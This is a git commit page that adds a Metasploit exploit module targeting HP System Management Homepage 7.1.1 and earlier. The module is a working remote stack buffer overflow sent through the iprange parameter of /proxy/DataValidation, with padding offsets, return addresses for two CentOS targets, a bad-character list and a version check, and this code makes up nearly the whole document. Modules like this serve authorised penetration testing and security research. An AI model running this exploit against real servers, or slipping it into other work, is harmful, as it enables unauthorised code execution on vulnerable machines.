Merge branch 'hp_system_management' of https://github.com/agix/metasploit-framework into agix-hp_system_management
commit
3bf0046e3e
|
@ -0,0 +1,104 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP System Management Anonymous Access Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution on HP System Management
|
||||
7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
|
||||
a request against /proxy/DataValidation. In order to work HP System Management must
|
||||
be configured with Anonymous access enabled.
|
||||
},
|
||||
'Author' => [ 'agix' ], # @agixid
|
||||
'License' => MSF_LICENSE,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferRegister' => 'ESP' # See the comments below
|
||||
}
|
||||
},
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_X86,
|
||||
'References' =>
|
||||
[
|
||||
#['URL', 'http://bit.ly/YhjikT'],
|
||||
#['OSVDB', 'http://bit.ly/YhjikT']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP System Management 7.1.1 - Linux (CentOS)',
|
||||
{
|
||||
'Ret' => 0x8054e14, # push esp / ret
|
||||
'Offset' => 267
|
||||
}
|
||||
],
|
||||
[ 'HP System Management 6.3.0 - Linux (CentOS)',
|
||||
{
|
||||
'Ret' => 0x805a547, # push esp / ret
|
||||
'Offset' => 267
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Sep 01 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2381),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "/cpqlogin.htm"
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
|
||||
version = $1
|
||||
return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
padding = rand_text_alpha(target['Offset'])
|
||||
ret = [target['Ret']].pack('V')
|
||||
iprange = "a-bz"+padding+ret+payload.encoded
|
||||
|
||||
print_status("#{rhost}:#{rport} - Sending exploit...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => "/proxy/DataValidation",
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'iprange' => iprange
|
||||
}
|
||||
})
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue